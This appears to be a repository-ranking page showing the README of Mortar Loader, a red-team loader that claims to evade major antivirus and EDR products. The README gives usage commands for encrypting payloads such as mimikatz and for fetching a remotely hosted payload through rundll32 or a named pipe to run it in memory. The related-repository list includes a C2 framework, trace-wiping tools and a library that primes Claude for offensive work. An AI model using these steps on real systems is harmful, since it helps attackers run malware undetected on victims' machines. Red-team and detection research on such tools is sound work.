Volver al ranking

0xsp-SRD/mortar

Pascal

evasion technique to defeat and divert detection and prevention of security products (AV/EDR/XDR)

redteam-toolsevasionbypass-antivirusbypass-edr
Crecimiento de estrellas
Estrellas
1.5k
Forks
238
Crecimiento semanal
Issues
0
5001k1.5k
dic 2021jun 2023ene 2025jul 2026
README

Mortar Loader

Red teaming evasion technique to defeat and divert detection and prevention of security products.Mortar Loader performs encryption and decryption PE/Shellcode inside the memory streams and execute it leveraging several injection techniques . Mortar is able to bypass modern anti-virus products and advanced XDR solutions and it has been tested and confirmed bypass for the following:

  • Kaspersky :heavy_check_mark:
  • ESET AV / EDR :heavy_check_mark:
  • Malewarebytes :heavy_check_mark:
  • Mcafee :heavy_check_mark:
  • Windows defender :heavy_check_mark:
  • Cylance :heavy_check_mark:
  • TrendMicro :heavy_check_mark:
  • Bitdefender :heavy_check_mark:
  • Norton Symantec :heavy_check_mark:
  • Sophos EDR :heavy_check_mark:

Updated features

The newer version release (v3) has been released with the following features :

  • Fileless execution with remote staged encrypted binary or shellcode.
  • Early Bird APC injection.
  • Process masquerading.
  • Supports Named Pipes.
  • Strings and function calls obfuscation.
  • Mortar covert reload subroutine.
  • Delay execution techniques.

For more technical description, refer to the following blogpost : https://kpmg.com/nl/en/home/insights/2023/12/mortar-loader.html

Usage

Encryptor

The encryptor encrypt C ShellCode and PE binaries and write the output into .enc file. you are allowed to use any payload(MSF/cobalt/Havoc..etc) as you prefer as long it is x64 arch and not RAW.

root@kali>./encryptor -f mimikatz.exe -o bin.enc 
root@kali>./encryptor -f shellcode.c -o bin.enc 

Mortar Loader Library

The newer release leverage several techniques combined with remote payload fetching, recommend to refer to following blogpost to get more insights.

for quick instructions

# PE Forking

1. host your encrypted binary on remote host. 
2. encode the final URL with base64. 
3. rundll32.exe agressor.dll,viewlogs [BASE64 URL].
4. covert reload subroutine technique is enabled. 

currently supports early bird injection in combination with Named Pipes to receive variables for final execution.

1. inject Mortar DLL into remote process( DLL injection, Hijacking, sideloading).
2. connect into the named pipe to supply your URL 
   echo {BASE64 URL} > \\.\pipe\moj_ML_ntsvcs 
3. payload will be executed once valid value has been recieved. 

Compiling

the project has been coded using FPC(Free Pascal), the compiling procedures are straightforward by downloading and installing Lazarus IDE (https://www.lazarus-ide.org/index.php?page=downloads).

for the encryptor you you can download it from the release section or compile it easily with lazarus ide.

#Debian & Ubuntu 

apt install fpc 
apt install lazarus-ide 

Publications

the development of mortar or any shared project is an outcome from my personal time.

  • you show continues appreciation of my work.
  • you will get early access to pre-release.
  • ask questions / will be answered.
Repositorios relacionados
We5ter/Scanners-Box

A powerful and open-source toolkit for hackers and security automation - 安全行业从业者自研开源扫描器合辑

pentesting-toolshacker-tools
9k2.4k
yaklang/yakit

Cyber Security ALL-IN-ONE Platform

TypeScriptnpmGNU Affero General Public License v3.0redteamredteam-tools
7.6k819
liamg/traitor

:arrow_up: :skull_and_crossbones: :fire: Automatic Linux privesc via exploitation of low-hanging fruit e.g. gtfobins, pwnkit, dirty pipe, +w docker.sock

GoGo ModulesMIT Licensegtfobinsexploit
7.2k704
wgpsec/ENScan_GO

一款基于各大企业信息API的工具,解决在遇到的各种针对国内企业信息收集难题。一键收集控股公司ICP备案、APP、小程序、微信公众号等信息聚合导出。支持MCP接入

GoGo ModulesApache License 2.0redteamapp
opensource.wgpsec.org
4.6k433
t3l3machus/Villain

Villain is a high level stage 0/1 C2 framework that can handle multiple reverse TCP & HoaxShell-based shells, enhance their functionality with additional features (commands, utilities) and share them among connected sibling servers (Villain instances running on different machines).

PythonPyPIOtheropen-sourcepentest
4.4k694
kaifcodec/user-scanner

🕵️‍♂️ (2-in-1) Email & Username OSINT suite for deep data extraction. Analyzes 350+ scan vectors (140+ email / 210+ username) for security research, investigations, and digital footprinting.

PythonPyPIMIT Licenseosintosint-tool
2.8k327
SnailSploit/Claude-Red

claude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a specific attack surface — from SQLi to shellcode, EDR evasion to exploit development.

PythonPyPIMIT Licenseclaude-aiclaude-skills
2.8k448
zhzyker/dismap

Asset discovery and identification tools 快速识别 Web 指纹信息,定位资产类型。辅助红队快速定位目标资产信息,辅助蓝队发现疑似脆弱点

GoGo ModulesGNU General Public License v3.0identificationsecurity-tools
2.2k271
xiecat/goblin

一款适用于红蓝对抗中的仿真钓鱼系统

GoGo ModulesGNU General Public License v3.0phishinghoneypots
goblin.xiecat.fun
1.5k200
mufeedvh/moonwalk

Cover your tracks during Linux Exploitation by leaving zero traces on system logs and filesystem timestamps.

Rustcrates.ioMIT Licensesecuritysecurity-tools
1.5k134
wddadk/Offensive-OSINT-Tools

OffSec OSINT Pentest/RedTeam Tools

hackinginformation-gathering
1.2k154
bitquark/shortscan

An IIS short filename enumeration tool

GoGo ModulesMIT Licensebugbountysecurity
1.2k115